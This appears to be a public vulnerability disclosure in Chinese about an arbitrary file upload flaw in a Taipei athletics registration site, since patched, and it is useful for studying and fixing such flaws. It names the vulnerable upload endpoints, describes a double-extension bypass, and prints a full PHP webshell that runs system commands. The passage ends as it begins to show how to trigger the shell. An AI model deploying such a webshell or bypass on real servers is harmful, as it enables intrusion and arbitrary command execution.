臺北市春季全國田徑公開賽報名系統任意檔案上傳導致遠端程式碼執行（RCE）漏洞

Vulnerability Overview

ZDID: ZD-2026-00880
發信 Vendor: 台灣電腦網路危機處理暨協調中心(TWCERT/CC)
Title: 臺北市春季全國田徑公開賽報名系統任意檔案上傳導致遠端程式碼執行（RCE）漏洞
Introduction: 未驗證檔案類型，可上傳 PHP webshell

處理狀態

目前狀態

公開

Last Update : 2026/09/22

新提交
已審核
已通報
已修補
已複測
公開

處理歷程

2026/07/01 18:01:16 : 新提交 (由 Bun_. 更新此狀態)
2026/07/07 13:35:23 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:04:04 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:04:04 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:04:04 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/08/31 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
2026/09/04 16:34:04 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/09/12 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
2026/09/17 14:45:28 : 複測申請中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/09/21 12:45:12 : 確認已修補 (由 Bun_. 更新此狀態)
2026/09/22 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2026-00880
通報者：Superliverbun (Bun_.)
風險：嚴重
類型：任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機，有機會經由上傳之文件取得該主機系統權限。

漏洞說明： OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明： CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

115 年臺北市春季全國田徑公開賽線上報名系統的檔案上傳功能（繳費憑證上傳 upload_payment_voucher.php 與報名表上傳 upload_entry_form.php）未對上傳檔案進行充分的類型與副檔名驗證，可透過雙副檔名繞過上傳含惡意 PHP 程式碼的檔案，並被伺服器轉存為 .php 而執行，導致遠端程式碼執行；同時上傳目錄未禁止目錄瀏覽，使得任何人皆可瀏覽並下載其他報名者上傳的檔案。

準備一個雙副檔名的 PHP webshell shell.pdf.php，內容如下：

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

透過 upload_payment_voucher.php 或 upload_entry_form.php 上傳該檔案，成功繞過檔案類型驗證，並被伺服器轉存為 .php 檔案，置於公開可存取的目錄中。

直接以 URL 觸發執行，可帶入 cmd 參數執行任意系統指令：